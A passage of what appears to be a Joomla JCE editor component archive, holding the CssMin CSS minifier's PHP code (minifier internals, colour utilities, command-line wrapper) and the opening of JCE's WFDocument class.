        // ' and ) being part of the data string.
        while (preg_match('/url\(\s*(["\']?)data:/Si', $css, $m, PREG_OFFSET_CAPTURE, $searchOffset)) {
            $matchStartIndex = $m[0][1];
            $dataStartIndex = $matchStartIndex + 4; // url( length
            $searchOffset = $matchStartIndex + strlen($m[0][0]);
            $terminator = $m[1][0]; // ', " or empty (not quoted)
            $terminatorRegex = '/(?<!\\\\)'. (strlen($terminator) === 0 ? '' : $terminator.'\s*') .'(\))/S';
            
            $ret .= substr($css, $substrOffset, $matchStartIndex - $substrOffset);

            // Terminator found
            if (preg_match($terminatorRegex, $css, $matches, PREG_OFFSET_CAPTURE, $searchOffset)) {
                $matchEndIndex = $matches[1][1];
                $searchOffset = $matchEndIndex + 1;
                $token = substr($css, $dataStartIndex, $matchEndIndex - $dataStartIndex);

                // Remove all spaces only for base64 encoded URLs.
                if (stripos($token, 'base64,') !== false) {
                    $token = preg_replace('/\s+/S', '', $token);
                }

                $ret .= 'url('. $this->registerPreservedToken(trim($token)) .')';
            // No end terminator found, re-add the whole match. Should we throw/warn here?
            } else {
                $ret .= substr($css, $matchStartIndex, $searchOffset - $matchStartIndex);
            }

            $substrOffset = $searchOffset;
        }

        $ret .= substr($css, $substrOffset);

        return $ret;
    }

    /**
     * Registers all comments found as candidates to be preserved.
     * @param array $matches
     * @return string
     */
    private function processCommentsCallback($matches)
    {
        return '/*'. $this->registerCommentToken($matches[1]) .'*/';
    }

    /**
     * Preserves old IE Matrix string definition
     * @param array $matches
     * @return string
     */
    private function processOldIeSpecificMatrixDefinitionCallback($matches)
    {
        return 'filter:progid:DXImageTransform.Microsoft.Matrix('. $this->registerPreservedToken($matches[1]) .')';
    }

    /**
     * Preserves strings found
     * @param array $matches
     * @return string
     */
    private function processStringsCallback($matches)
    {
        $match = $matches[0];
        $quote = substr($match, 0, 1);
        $match = substr($match, 1, -1);

        // maybe the string contains a comment-like substring?
        // one, maybe more? put'em back then
        if (strpos($match, self::COMMENT_TOKEN_START) !== false) {
            $match = strtr($match, $this->comments);
        }

        // minify alpha opacity in filter strings
        $match = str_ireplace('progid:DXImageTransform.Microsoft.Alpha(Opacity=', 'alpha(opacity=', $match);

        return $quote . $this->registerPreservedToken($match) . $quote;
    }

    /**
     * Searches & replaces all import at-rule unquoted urls with tokens so URI reserved characters such as a semicolon
     * may be used safely in a URL.
     * @param array $matches
     * @return string
     */
    private function processImportUnquotedUrlAtRulesCallback($matches)
    {
        return '@import url('. $this->registerPreservedToken($matches[1]) .')'. $matches[2];
    }

    /**
     * Preserves or removes comments found.
     * @param string $css
     * @return string
     */
    private function processComments($css)
    {
        foreach ($this->comments as $commentId => $comment) {
            $commentIdString = '/*'. $commentId .'*/';
            
            // ! in the first position of the comment means preserve
            // so push to the preserved tokens keeping the !
            if ($this->keepImportantComments && strpos($comment, '!') === 0) {
                $preservedTokenId = $this->registerPreservedToken($comment);
                // Put new lines before and after /*! important comments
                $css = str_replace($commentIdString, "\n/*$preservedTokenId*/\n", $css);
                continue;
            }

            // # sourceMappingURL= in the first position of the comment means sourcemap
            // so push to the preserved tokens if {$this->keepSourceMapComment} is truthy.
            if ($this->keepSourceMapComment && strpos($comment, '# sourceMappingURL=') === 0) {
                $preservedTokenId = $this->registerPreservedToken($comment);
                // Add new line before the sourcemap comment
                $css = str_replace($commentIdString, "\n/*$preservedTokenId*/", $css);
                continue;
            }

            // Keep empty comments after child selectors (IE7 hack)
            // e.g. html >/**/ body
            if (strlen($comment) === 0 && strpos($css, '>/*'.$commentId) !== false) {
                $css = str_replace($commentId, $this->registerPreservedToken(''), $css);
                continue;
            }

            // in all other cases kill the comment
            $css = str_replace($commentIdString, '', $css);
        }

        // Normalize whitespace again
        $css = preg_replace('/ +/S', ' ', $css);

        return $css;
    }

    /**
     * Finds, minifies & preserves all rule bodies.
     * @param string $css the whole stylesheet.
     * @return string
     */
    private function processRuleBodies($css)
    {
        $ret = '';
        $searchOffset = $substrOffset = 0;

        while (($blockStartPos = strpos($css, '{', $searchOffset)) !== false) {
            $blockEndPos = strpos($css, '}', $blockStartPos);
            $nextBlockStartPos = strpos($css, '{', $blockStartPos + 1);
            $ret .= substr($css, $substrOffset, $blockStartPos - $substrOffset);

            if ($nextBlockStartPos !== false && $nextBlockStartPos < $blockEndPos) {
                $ret .= substr($css, $blockStartPos, $nextBlockStartPos - $blockStartPos);
                $searchOffset = $nextBlockStartPos;
            } else {
                $ruleBody = substr($css, $blockStartPos + 1, $blockEndPos - $blockStartPos - 1);
                $ruleBodyToken = $this->registerRuleBodyToken($this->processRuleBody($ruleBody));
                $ret .= '{'. $ruleBodyToken .'}';
                $searchOffset = $blockEndPos + 1;
            }

            $substrOffset = $searchOffset;
        }

        $ret .= substr($css, $substrOffset);

        return $ret;
    }

    /**
     * Compresses non-group rule bodies.
     * @param string $body The rule body without curly braces
     * @return string
     */
    private function processRuleBody($body)
    {
        $body = trim($body);

        // Remove spaces before the things that should not have spaces before them.
        $body = preg_replace('/ ([:=,)*\/;\n])/S', '$1', $body);

        // Remove the spaces after the things that should not have spaces after them.
        $body = preg_replace('/([:=,(*\/!;\n]) /S', '$1', $body);
        
        // Replace multiple semi-colons in a row by a single one
        $body = preg_replace('/;;+/S', ';', $body);

        // Remove semicolon before closing brace except when:
        // - The last property is prefixed with a `*` (lte IE7 hack) to avoid issues on Symbian S60 3.x browsers.
        if (!preg_match('/\*[a-z0-9-]+:[^;]+;$/Si', $body)) {
            $body = rtrim($body, ';');
        }

        // Remove important comments inside a rule body (because they make no sense here).
        if (strpos($body, '/*') !== false) {
            $body = preg_replace('/\n?\/\*[A-Z0-9_]+\*\/\n?/S', '', $body);
        }
        
        // Empty rule body? Exit :)
        if (empty($body)) {
            return '';
        }

        // Shorten font-weight values
        $body = preg_replace(
            array('/(font-weight:)bold\b/Si', '/(font-weight:)normal\b/Si'),
            array('${1}700', '${1}400'),
            $body
        );

        // Shorten background property
        $body = preg_replace('/(background:)(?:none|transparent)( !|;|$)/Si', '${1}0 0$2', $body);

        // Shorten opacity IE filter
        $body = str_ireplace('progid:DXImageTransform.Microsoft.Alpha(Opacity=', 'alpha(opacity=', $body);

        // Shorten colors from rgb(51,102,153) to #336699, rgb(100%,0%,0%) to #ff0000 (sRGB color space)
        // Shorten colors from hsl(0, 100%, 50%) to #ff0000 (sRGB color space)
        // This makes it more likely that it'll get further compressed in the next step.
        $body = preg_replace_callback(
            '/(rgb|hsl)\(([0-9,.% -]+)\)(.|$)/Si',
            array($this, 'shortenHslAndRgbToHexCallback'),
            $body
        );

        // Shorten colors from #AABBCC to #ABC or shorter color name:
        // - Look for hex colors which don't have a "=" in front of them (to avoid MSIE filters)
        $body = preg_replace_callback(
            '/(?<!=)#([0-9a-f]{3,6})( |,|\)|;|$)/Si',
            array($this, 'shortenHexColorsCallback'),
            $body
        );

        // Shorten long named colors with a shorter HEX counterpart: white -> #fff.
        // Run at least 2 times to cover most cases
        $body = preg_replace_callback(
            array($this->namedToHexColorsRegex, $this->namedToHexColorsRegex),
            array($this, 'shortenNamedColorsCallback'),
            $body
        );

        // Replace positive sign from numbers before the leading space is removed.
        // +1.2em to 1.2em, +.8px to .8px, +2% to 2%
        $body = preg_replace('/([ :,(])\+(\.?\d+)/S', '$1$2', $body);

        // shorten ms to s
        $body = preg_replace_callback('/([ :,(])(-?)(\d{3,})ms/Si', function ($matches) {
            return $matches[1] . $matches[2] . ((int) $matches[3] / 1000) .'s';
        }, $body);

        // Remove leading zeros from integer and float numbers.
        // 000.6 to .6, -0.8 to -.8, 0050 to 50, -01.05 to -1.05
        $body = preg_replace('/([ :,(])(-?)0+([1-9]?\.?\d+)/S', '$1$2$3', $body);

        // Remove trailing zeros from float numbers.
        // -6.0100em to -6.01em, .0100 to .01, 1.200px to 1.2px
        $body = preg_replace('/([ :,(])(-?\d?\.\d+?)0+([^\d])/S', '$1$2$3', $body);

        // Remove trailing .0 -> -9.0 to -9
        $body = preg_replace('/([ :,(])(-?\d+)\.0([^\d])/S', '$1$2$3', $body);

        // Replace 0 length numbers with 0
        $body = preg_replace('/([ :,(])-?\.?0+([^\d])/S', '${1}0$2', $body);

        // Shorten zero values for safe properties only
        $body = preg_replace(
            array(
                $this->shortenOneZeroesRegex,
                $this->shortenTwoZeroesRegex,
                $this->shortenThreeZeroesRegex,
                $this->shortenFourZeroesRegex
            ),
            array(
                '$1$2:0',
                '$1$2:$3 0',
                '$1$2:$3 $4 0',
                '$1$2:$3 $4 $5 0'
            ),
            $body
        );

        // Replace 0 0 0; or 0 0 0 0; with 0 0 for background-position property.
        $body = preg_replace('/(background-position):0(?: 0){2,3}( !|;|$)/Si', '$1:0 0$2', $body);

        // Shorten suitable shorthand properties with repeated values
        $body = preg_replace(
            array(
                '/(margin|padding|border-(?:width|radius)):('.$this->numRegex.')(?: \2)+( !|;|$)/Si',
                '/(border-(?:style|color)):([#a-z0-9]+)(?: \2)+( !|;|$)/Si'
            ),
            '$1:$2$3',
            $body
        );
        $body = preg_replace(
            array(
                '/(margin|padding|border-(?:width|radius)):'.
                '('.$this->numRegex.') ('.$this->numRegex.') \2 \3( !|;|$)/Si',
                '/(border-(?:style|color)):([#a-z0-9]+) ([#a-z0-9]+) \2 \3( !|;|$)/Si'
            ),
            '$1:$2 $3$4',
            $body
        );
        $body = preg_replace(
            array(
                '/(margin|padding|border-(?:width|radius)):'.
                '('.$this->numRegex.') ('.$this->numRegex.') ('.$this->numRegex.') \3( !|;|$)/Si',
                '/(border-(?:style|color)):([#a-z0-9]+) ([#a-z0-9]+) ([#a-z0-9]+) \3( !|;|$)/Si'
            ),
            '$1:$2 $3 $4$5',
            $body
        );

        // Lowercase some common functions that can be values
        $body = preg_replace_callback(
            '/(?:attr|blur|brightness|circle|contrast|cubic-bezier|drop-shadow|ellipse|from|grayscale|'.
            'hsla?|hue-rotate|inset|invert|local|minmax|opacity|perspective|polygon|rgba?|rect|repeat|saturate|sepia|'.
            'steps|to|url|var|-webkit-gradient|'.
            '(?:-(?:atsc|khtml|moz|ms|o|wap|webkit)-)?(?:calc|(?:repeating-)?(?:linear|radial)-gradient))\(/Si',
            array($this, 'strtolowerCallback'),
            $body
        );

        // Lowercase all uppercase properties
        $body = preg_replace_callback('/(?:^|;)[A-Z-]+:/S', array($this, 'strtolowerCallback'), $body);

        return $body;
    }

    /**
     * Compresses At-rules and selectors.
     * @param string $css the whole stylesheet with rule bodies tokenized.
     * @return string
     */
    private function processAtRulesAndSelectors($css)
    {
        $charset = '';
        $imports = '';
        $namespaces = '';
        
        // Remove spaces before the things that should not have spaces before them.
        $css = preg_replace('/ ([@{};>+)\]~=,\/\n])/S', '$1', $css);

        // Remove the spaces after the things that should not have spaces after them.
        $css = preg_replace('/([{}:;>+(\[~=,\/\n]) /S', '$1', $css);
        
        // Shorten shortable double colon (CSS3) pseudo-elements to single colon (CSS2)
        $css = preg_replace('/::(before|after|first-(?:line|letter))(\{|,)/Si', ':$1$2', $css);

        // Retain space for special IE6 cases
        $css = preg_replace_callback('/:first-(line|letter)(\{|,)/Si', function ($matches) {
            return ':first-'. strtolower($matches[1]) .' '. $matches[2];
        }, $css);

        // Find a fraction that may used in some @media queries such as: (min-aspect-ratio: 1/1)
        // Add token to add the "/" back in later
        $css = preg_replace('/\(([a-z-]+):([0-9]+)\/([0-9]+)\)/Si', '($1:$2'. self::QUERY_FRACTION .'$3)', $css);

        // Remove empty rule blocks up to 2 levels deep.
        $css = preg_replace(array_fill(0, 2, '/(\{)[^{};\/\n]+\{\}/S'), '$1', $css);
        $css = preg_replace('/[^{};\/\n]+\{\}/S', '', $css);

        // Two important comments next to each other? Remove extra newline.
        if ($this->keepImportantComments) {
            $css = str_replace("\n\n", "\n", $css);
        }
        
        // Restore fraction
        $css = str_replace(self::QUERY_FRACTION, '/', $css);

        // Lowercase some popular @directives
        $css = preg_replace_callback(
            '/(?<!\\\\)@(?:charset|document|font-face|import|(?:-(?:atsc|khtml|moz|ms|o|wap|webkit)-)?keyframes|media|'.
            'namespace|page|supports|viewport)/Si',
            array($this, 'strtolowerCallback'),
            $css
        );

        // Lowercase some popular media types
        $css = preg_replace_callback(
            '/[ ,](?:all|aural|braille|handheld|print|projection|screen|tty|tv|embossed|speech)[ ,;{]/Si',
            array($this, 'strtolowerCallback'),
            $css
        );

        // Lowercase some common pseudo-classes & pseudo-elements
        $css = preg_replace_callback(
            '/(?<!\\\\):(?:active|after|before|checked|default|disabled|empty|enabled|first-(?:child|of-type)|'.
            'focus(?:-within)?|hover|indeterminate|in-range|invalid|lang\(|last-(?:child|of-type)|left|link|not\(|'.
            'nth-(?:child|of-type)\(|nth-last-(?:child|of-type)\(|only-(?:child|of-type)|optional|out-of-range|'.
            'read-(?:only|write)|required|right|root|:selection|target|valid|visited)/Si',
            array($this, 'strtolowerCallback'),
            $css
        );
        
        // @charset handling
        if (preg_match($this->charsetRegex, $css, $matches)) {
            // Keep the first @charset at-rule found
            $charset = $matches[0];
            // Delete all @charset at-rules
            $css = preg_replace($this->charsetRegex, '', $css);
        }

        // @import handling
        $css = preg_replace_callback($this->importRegex, function ($matches) use (&$imports) {
            // Keep all @import at-rules found for later
            $imports .= $matches[0];
            // Delete all @import at-rules
            return '';
        }, $css);

        // @namespace handling
        $css = preg_replace_callback($this->namespaceRegex, function ($matches) use (&$namespaces) {
            // Keep all @namespace at-rules found for later
            $namespaces .= $matches[0];
            // Delete all @namespace at-rules
            return '';
        }, $css);
        
        // Order critical at-rules:
        // 1. @charset first
        // 2. @imports below @charset
        // 3. @namespaces below @imports
        $css = $charset . $imports . $namespaces . $css;

        return $css;
    }

    /**
     * Splits long lines after a specific column.
     *
     * Some source control tools don't like it when files containing lines longer
     * than, say 8000 characters, are checked in. The linebreak option is used in
     * that case to split long lines after a specific column.
     *
     * @param string $css the whole stylesheet.
     * @return string
     */
    private function processLongLineSplitting($css)
    {
        if ($this->linebreakPosition > 0) {
            $l = strlen($css);
            $offset = $this->linebreakPosition;
            while (preg_match('/(?<!\\\\)\}(?!\n)/S', $css, $matches, PREG_OFFSET_CAPTURE, $offset)) {
                $matchIndex = $matches[0][1];
                $css = substr_replace($css, "\n", $matchIndex + 1, 0);
                $offset = $matchIndex + 2 + $this->linebreakPosition;
                $l += 1;
                if ($offset > $l) {
                    break;
                }
            }
        }

        return $css;
    }

    /**
     * Converts hsl() & rgb() colors to HEX format.
     * @param $matches
     * @return string
     */
    private function shortenHslAndRgbToHexCallback($matches)
    {
        $type = $matches[1];
        $values = explode(',', $matches[2]);
        $terminator = $matches[3];
        
        if ($type === 'hsl') {
            $values = Utils::hslToRgb($values);
        }
        
        $hexColors = Utils::rgbToHex($values);

        // Restore space after rgb() or hsl() function in some cases such as:
        // background-image: linear-gradient(to bottom, rgb(210,180,140) 10%, rgb(255,0,0) 90%);
        if (!empty($terminator) && !preg_match('/[ ,);]/S', $terminator)) {
            $terminator = ' '. $terminator;
        }

        return '#'. implode('', $hexColors) . $terminator;
    }

    /**
     * Compresses HEX color values of the form #AABBCC to #ABC or short color name.
     * @param $matches
     * @return string
     */
    private function shortenHexColorsCallback($matches)
    {
        $hex = $matches[1];
        
        // Shorten suitable 6 chars HEX colors
        if (strlen($hex) === 6 && preg_match('/^([0-9a-f])\1([0-9a-f])\2([0-9a-f])\3$/Si', $hex, $m)) {
            $hex = $m[1] . $m[2] . $m[3];
        }
        
        // Lowercase
        $hex = '#'. strtolower($hex);

        // Replace Hex colors with shorter color names
        $color = array_key_exists($hex, $this->hexToNamedColorsMap) ? $this->hexToNamedColorsMap[$hex] : $hex;

        return $color . $matches[2];
    }

    /**
     * Shortens all named colors with a shorter HEX counterpart for a set of safe properties
     * e.g. white -> #fff
     * @param array $matches
     * @return string
     */
    private function shortenNamedColorsCallback($matches)
    {
        return $matches[1] . $this->namedToHexColorsMap[strtolower($matches[2])] . $matches[3];
    }

    /**
     * Makes a string lowercase
     * @param array $matches
     * @return string
     */
    private function strtolowerCallback($matches)
    {
        return strtolower($matches[0]);
    }
}
com_jce/editor/libraries/classes/vendor/cssmin/src/Utils.php000060400000007750152453734450020254 0ustar00<?php

namespace tubalmartin\CssMin;

class Utils
{
    /**
     * Clamps a number between a minimum and a maximum value.
     * @param int|float $n the number to clamp
     * @param int|float $min the lower end number allowed
     * @param int|float $max the higher end number allowed
     * @return int|float
     */
    public static function clampNumber($n, $min, $max)
    {
        return min(max($n, $min), $max);
    }

    /**
     * Clamps a RGB color number outside the sRGB color space
     * @param int|float $n the number to clamp
     * @return int|float
     */
    public static function clampNumberSrgb($n)
    {
        return self::clampNumber($n, 0, 255);
    }

    /**
     * Converts a HSL color into a RGB color
     * @param array $hslValues
     * @return array
     */
    public static function hslToRgb($hslValues)
    {
        $h = floatval($hslValues[0]);
        $s = floatval(str_replace('%', '', $hslValues[1]));
        $l = floatval(str_replace('%', '', $hslValues[2]));

        // Wrap and clamp, then fraction!
        $h = ((($h % 360) + 360) % 360) / 360;
        $s = self::clampNumber($s, 0, 100) / 100;
        $l = self::clampNumber($l, 0, 100) / 100;

        if ($s == 0) {
            $r = $g = $b = self::roundNumber(255 * $l);
        } else {
            $v2 = $l < 0.5 ? $l * (1 + $s) : ($l + $s) - ($s * $l);
            $v1 = (2 * $l) - $v2;
            $r = self::roundNumber(255 * self::hueToRgb($v1, $v2, $h + (1/3)));
            $g = self::roundNumber(255 * self::hueToRgb($v1, $v2, $h));
            $b = self::roundNumber(255 * self::hueToRgb($v1, $v2, $h - (1/3)));
        }

        return array($r, $g, $b);
    }

    /**
     * Tests and selects the correct formula for each RGB color channel
     * @param $v1
     * @param $v2
     * @param $vh
     * @return mixed
     */
    public static function hueToRgb($v1, $v2, $vh)
    {
        $vh = $vh < 0 ? $vh + 1 : ($vh > 1 ? $vh - 1 : $vh);

        if ($vh * 6 < 1) {
            return $v1 + ($v2 - $v1) * 6 * $vh;
        }

        if ($vh * 2 < 1) {
            return $v2;
        }

        if ($vh * 3 < 2) {
            return $v1 + ($v2 - $v1) * ((2 / 3) - $vh) * 6;
        }

        return $v1;
    }

    /**
     * Convert strings like "64M" or "30" to int values
     * @param mixed $size
     * @return int
     */
    public static function normalizeInt($size)
    {
        if (is_string($size)) {
            $letter = substr($size, -1);
            $size = intval($size);
            switch ($letter) {
                case 'M':
                case 'm':
                    return (int) $size * 1048576;
                case 'K':
                case 'k':
                    return (int) $size * 1024;
                case 'G':
                case 'g':
                    return (int) $size * 1073741824;
            }
        }
        return (int) $size;
    }

    /**
     * Converts a string containing and RGB percentage value into a RGB integer value i.e. '90%' -> 229.5
     * @param $rgbPercentage
     * @return int
     */
    public static function rgbPercentageToRgbInteger($rgbPercentage)
    {
        if (strpos($rgbPercentage, '%') !== false) {
            $rgbPercentage = self::roundNumber(floatval(str_replace('%', '', $rgbPercentage)) * 2.55);
        }

        return intval($rgbPercentage, 10);
    }

    /**
     * Converts a RGB color into a HEX color
     * @param array $rgbColors
     * @return array
     */
    public static function rgbToHex($rgbColors)
    {
        $hexColors = array();

        // Values outside the sRGB color space should be clipped (0-255)
        for ($i = 0, $l = count($rgbColors); $i < $l; $i++) {
            $hexColors[$i] = sprintf("%02x", self::clampNumberSrgb(self::rgbPercentageToRgbInteger($rgbColors[$i])));
        }

        return $hexColors;
    }

    /**
     * Rounds a number to its closest integer
     * @param $n
     * @return int
     */
    public static function roundNumber($n)
    {
        return intval(round(floatval($n)), 10);
    }
}
com_jce/editor/libraries/classes/vendor/cssmin/src/Command.php000060400000015225152453734450020526 0ustar00<?php

namespace tubalmartin\CssMin;

class Command
{
    const SUCCESS_EXIT = 0;
    const FAILURE_EXIT = 1;
    
    protected $stats = array();
    
    public static function main()
    {
        $command = new self;
        $command->run();
    }

    public function run()
    {
        $opts = getopt(
            'hi:o:',
            array(
                'help',
                'input:',
                'output:',
                'dry-run',
                'keep-sourcemap',
                'keep-sourcemap-comment',
                'linebreak-position:',
                'memory-limit:',
                'pcre-backtrack-limit:',
                'pcre-recursion-limit:',
                'remove-important-comments'
            )
        );

        $help = $this->getOpt(array('h', 'help'), $opts);
        $input = $this->getOpt(array('i', 'input'), $opts);
        $output = $this->getOpt(array('o', 'output'), $opts);
        $dryrun = $this->getOpt('dry-run', $opts);
        $keepSourceMapComment = $this->getOpt(array('keep-sourcemap', 'keep-sourcemap-comment'), $opts);
        $linebreakPosition = $this->getOpt('linebreak-position', $opts);
        $memoryLimit = $this->getOpt('memory-limit', $opts);
        $backtrackLimit = $this->getOpt('pcre-backtrack-limit', $opts);
        $recursionLimit = $this->getOpt('pcre-recursion-limit', $opts);
        $removeImportantComments = $this->getOpt('remove-important-comments', $opts);

        if (!is_null($help)) {
            $this->showHelp();
            die(self::SUCCESS_EXIT);
        }

        if (is_null($input)) {
            fwrite(STDERR, '-i <file> argument is missing' . PHP_EOL);
            $this->showHelp();
            die(self::FAILURE_EXIT);
        }

        if (!is_readable($input)) {
            fwrite(STDERR, 'Input file is not readable' . PHP_EOL);
            die(self::FAILURE_EXIT);
        }

        $css = file_get_contents($input);

        if ($css === false) {
            fwrite(STDERR, 'Input CSS code could not be retrieved from input file' . PHP_EOL);
            die(self::FAILURE_EXIT);
        }
        
        $this->setStat('original-size', strlen($css));
        
        $cssmin = new Minifier;

        if (!is_null($keepSourceMapComment)) {
            $cssmin->keepSourceMapComment();
        }

        if (!is_null($removeImportantComments)) {
            $cssmin->removeImportantComments();
        }

        if (!is_null($linebreakPosition)) {
            $cssmin->setLineBreakPosition($linebreakPosition);
        }
        
        if (!is_null($memoryLimit)) {
            $cssmin->setMemoryLimit($memoryLimit);
        }

        if (!is_null($backtrackLimit)) {
            $cssmin->setPcreBacktrackLimit($backtrackLimit);
        }

        if (!is_null($recursionLimit)) {
            $cssmin->setPcreRecursionLimit($recursionLimit);
        }
        
        $this->setStat('compression-time-start', microtime(true));
        
        $css = $cssmin->run($css);

        $this->setStat('compression-time-end', microtime(true));
        $this->setStat('peak-memory-usage', memory_get_peak_usage(true));
        $this->setStat('compressed-size', strlen($css));
        
        if (!is_null($dryrun)) {
            $this->showStats();
            die(self::SUCCESS_EXIT);
        }

        if (is_null($output)) {
            fwrite(STDOUT, $css . PHP_EOL);
            $this->showStats();
            die(self::SUCCESS_EXIT);
        }

        if (!is_writable(dirname($output))) {
            fwrite(STDERR, 'Output file is not writable' . PHP_EOL);
            die(self::FAILURE_EXIT);
        }

        if (file_put_contents($output, $css) === false) {
            fwrite(STDERR, 'Compressed CSS code could not be saved to output file' . PHP_EOL);
            die(self::FAILURE_EXIT);
        }

        $this->showStats();

        die(self::SUCCESS_EXIT);
    }

    protected function getOpt($opts, $options)
    {
        $value = null;

        if (is_string($opts)) {
            $opts = array($opts);
        }

        foreach ($opts as $opt) {
            if (array_key_exists($opt, $options)) {
                $value = $options[$opt];
                break;
            }
        }

        return $value;
    }
    
    protected function setStat($statName, $statValue)
    {
        $this->stats[$statName] = $statValue;
    }
    
    protected function formatBytes($size, $precision = 2)
    {
        $base = log($size, 1024);
        $suffixes = array('B', 'K', 'M', 'G', 'T');
        return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[floor($base)];
    }
    
    protected function formatMicroSeconds($microSecs, $precision = 2)
    {
        // ms
        $time = round($microSecs * 1000, $precision);
        
        if ($time >= 60 * 1000) {
            $time = round($time / 60 * 1000, $precision) .' m'; // m
        } elseif ($time >= 1000) {
            $time = round($time / 1000, $precision) .' s'; // s
        } else {
            $time .= ' ms';
        }
        
        return $time;
    }
    
    protected function showStats()
    {
        $spaceSavings = round((1 - ($this->stats['compressed-size'] / $this->stats['original-size'])) * 100, 2);
        $compressionRatio = round($this->stats['original-size'] / $this->stats['compressed-size'], 2);
        $compressionTime = $this->formatMicroSeconds(
            $this->stats['compression-time-end'] - $this->stats['compression-time-start']
        );
        $peakMemoryUsage = $this->formatBytes($this->stats['peak-memory-usage']);
        
        print <<<EOT
        
------------------------------
CSSMIN STATS        
------------------------------ 
Space savings:       {$spaceSavings} %       
Compression ratio:   {$compressionRatio}:1
Compression time:    $compressionTime
Peak memory usage:   $peakMemoryUsage


EOT;
    }

    protected function showHelp()
    {
        print <<<'EOT'
Usage: cssmin [options] -i <file> [-o <file>]
  
  -i|--input <file>              File containing uncompressed CSS code.
  -o|--output <file>             File to use to save compressed CSS code.
    
Options:
    
  -h|--help                      Prints this usage information.
  --dry-run                      Performs a dry run displaying statistics.
  --keep-sourcemap[-comment]     Keeps the sourcemap special comment in the output.
  --linebreak-position <pos>     Splits long lines after a specific column in the output.
  --memory-limit <limit>         Sets the memory limit for this script.
  --pcre-backtrack-limit <limit> Sets the PCRE backtrack limit for this script.
  --pcre-recursion-limit <limit> Sets the PCRE recursion limit for this script.
  --remove-important-comments    Removes !important comments from output.

EOT;
    }
}
com_jce/editor/libraries/classes/vendor/cssmin/src/index.html000060400000000054152453734450020426 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/vendor/cssmin/index.html000060400000000054152453734450017637 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/vendor/cssmin/cssmin.php000060400000000267152453734450017655 0ustar00<?php

abstract class CssMin {
    public static function minify($text)
    {
        $compressor = new tubalmartin\CssMin\Minifier();

        return $compressor->run($text);
    }
}com_jce/editor/libraries/classes/document.php000060400000043247152453734450015413 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Filesystem\Path;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

class WFDocument extends CMSObject
{
    /**
     * Array of linked scripts.
     *
     * @var array
     */
    private $scripts = array();

    /**
     * Array of scripts placed in the header.
     *
     * @var array
     */
    private $script = array();

    /**
     * Array of linked style sheets.
     *
     * @var array
     */
    private $styles = array();

    /**
     * Array of head items.
     *
     * @var array
     */
    private $head = array();

    /**
     * Body content.
     *
     * @var array
     */
    private $body = '';

    /**
     * Document title.
     *
     * @var string
     */
    public $title = '';

    /**
     * Contains the document language setting.
     *
     * @var string
     */
    public $language = 'en-gb';

    /**
     * Contains the document direction setting.
     *
     * @var string
     */
    public $direction = 'ltr';

    private static $queryMap = array(
        'imgmanager' => 'image',
        'imgmanager_ext' => 'imagepro',
    );

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct();

        // set document title
        if (isset($config['title'])) {
            $this->setTitle($config['title']);
        }

        $this->setProperties($config);
    }

    /**
     * Returns a reference to a WFDocument object.
     *
     * This method must be invoked as:
     *    <pre>  $document = WFDocument::getInstance();</pre>
     *
     * @return object WFDocument
     */
    public static function getInstance($config = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($config);
        }

        return $instance;
    }

    /**
     * Set the document title.
     *
     * @param string $title
     */
    public function setTitle($title)
    {
        $this->title = $title;
    }

    /**
     * Get the document title.
     *
     * @return string
     */
    public function getTitle()
    {
        return $this->title;
    }

    /**
     * Set the document name.
     *
     * @param string $name
     */
    public function setName($name)
    {
        $this->name = $name;
    }

    /**
     * Get the document name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Get the editor URL.
     *
     * @param bool $relative
     *
     * @return string
     */
    private function getURL($relative = false)
    {
        if ($relative) {
            return Uri::root(true) . '/media/com_jce/editor';
        }

        return Uri::root() . 'media/com_jce/editor';
    }

    /**
     * Sets the global document language declaration. Default is English (en-gb).
     *
     * @param string $lang
     */
    public function setLanguage($lang = 'en-gb')
    {
        $this->language = strtolower($lang);
    }

    /**
     * Returns the document language.
     *
     * @return string
     */
    public function getLanguage()
    {
        return $this->language;
    }

    /**
     * Sets the global document direction declaration. Default is left-to-right (ltr).
     *
     * @param string $lang
     */
    public function setDirection($dir = 'ltr')
    {
        $this->direction = strtolower($dir);
    }

    /**
     * Returns the document language.
     *
     * @return string
     */
    public function getDirection()
    {
        return $this->direction;
    }

    /**
     * Returns a JCE resource url.
     *
     * @param     string  The path to resolve eg: libaries
     * @param     bool Create a relative url
     *
     * @return full url
     */
    private function getBaseURL($path, $type = '')
    {
        static $url;

        if (!isset($url)) {
            $url = array();
        }

        $signature = serialize(array($type, $path));

        // Check if value is already stored
        if (!isset($url[$signature])) {
            // get the plugin name using this document instance
            $plugin = $this->get('name');

            $base = $this->getURL(true) . '/';

            $parts = explode('.', $path);
            $path = array_shift($parts);

            switch ($path) {
                // JCE root folder
                case 'jce':
                    $pre = $base . '';
                    break;
                // JCE libraries resource folder
                case 'media':
                    $pre = $base . '/' . $type;
                    break;
                case 'pro':
                    $pre = Uri::root(true) . '/media/plg_system_jcepro/editor/';
                    break;
                case 'jquery':
                    $pre = $base . 'vendor/jquery/' . $type;
                    break;
                // TinyMCE folder
                case 'tinymce':
                    $pre = $base . 'tinymce';
                    break;
                // Tinymce plugins folder
                case 'plugins':
                    $pre = $base . 'tinymce/plugins/' . $plugin . '/' . $type;
                    break;
                // Extensions folder
                case 'extensions':
                    $pre = $base . 'extensions';
                    break;
                case 'joomla':
                    return Uri::root(true);
                    break;
                case 'component':
                    $pre = Uri::root(true) . '/media/com_jce/admin/' . $type;
                    break;
                default:
                    $pre = $base . $path;
                    break;
            }

            if (count($parts)) {
                $pre = rtrim($pre, '/') . '/' . implode('/', $parts);
            }

            // Store url
            $url[$signature] = $pre;
        }

        return $url[$signature];
    }

    /**
     * Convert a url to path.
     *
     * @param string $url
     *
     * @return string
     */
    private function urlToPath($url)
    {
